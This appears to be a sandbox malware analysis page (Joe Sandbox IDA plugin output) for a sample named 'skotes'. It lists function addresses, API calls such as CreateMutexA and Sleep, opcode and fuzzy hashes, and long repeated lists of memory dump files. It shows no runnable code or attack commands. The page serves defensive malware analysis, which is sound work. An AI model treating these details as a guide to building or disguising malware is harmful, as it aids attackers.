Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 0cf5ea304682b96949a8cd60f28620b373e924898a24fea3a31baf024eb164f3
Instruction ID: 888aeb7b9476dc193a07103d1406c873d95efe361a1256df34d83fe8db640884
Opcode Fuzzy Hash: 0cf5ea304682b96949a8cd60f28620b373e924898a24fea3a31baf024eb164f3
Instruction Fuzzy Hash: 0C216A716086049BEB189F68EDC577DBB66FBC1310F204228E548873DAC7BA59808712

Function 005FA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 780dc3751a12cca7f05e3cb3806d97b6d30384f5d247be724ce9793d5d149edb
Instruction ID: e8d5f9d8d5557a0f3ffcd5c1be149902c8f8a3d8fdacc7e88742ad8dcaaa97aa
Opcode Fuzzy Hash: 780dc3751a12cca7f05e3cb3806d97b6d30384f5d247be724ce9793d5d149edb
Instruction Fuzzy Hash: C1214DB128820E9AF71467A8898A77EBF53FFC5700F200815E34CD72C7CABD45418193

Function 005FA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 42fdb88bb17c31ee44bfeb9e183aa9ec4e5fabb6b99ea8451fd669b748b9c60c
Instruction ID: d80224106a5d7fe4e9465ee5a8c66c37bd490fcaeb3be3e0c77afb9e4bfdca30
Opcode Fuzzy Hash: 42fdb88bb17c31ee44bfeb9e183aa9ec4e5fabb6b99ea8451fd669b748b9c60c
Instruction Fuzzy Hash: C4219A712442089BEB089B68DD8577DBB66EBC1310F204628E508977D9C77A56808353

Non-executed Functions

Function 005F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005F2F5F
GetCurrentThreadId.KERNEL32 ref: 005F2F7E
__Mtx_unlock.LIBCPMT ref: 005F2FCC
__Cnd_broadcast.LIBCPMT ref: 005F2FE3
__Mtx_unlock.LIBCPMT ref: 005F30F5
GetCurrentThreadId.KERNEL32 ref: 005F3132
__Mtx_unlock.LIBCPMT ref: 005F319B

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction ID: 10777561a897b31d9a7c79c4be1738e809e477d6fdfbe042f2636759ee1de91b
Opcode Fuzzy Hash: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction Fuzzy Hash: 0AA1E7B09416099FEB24DF64C845B6BBBB9FF15324F04422EE915D7281EB39DA04CBD1

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
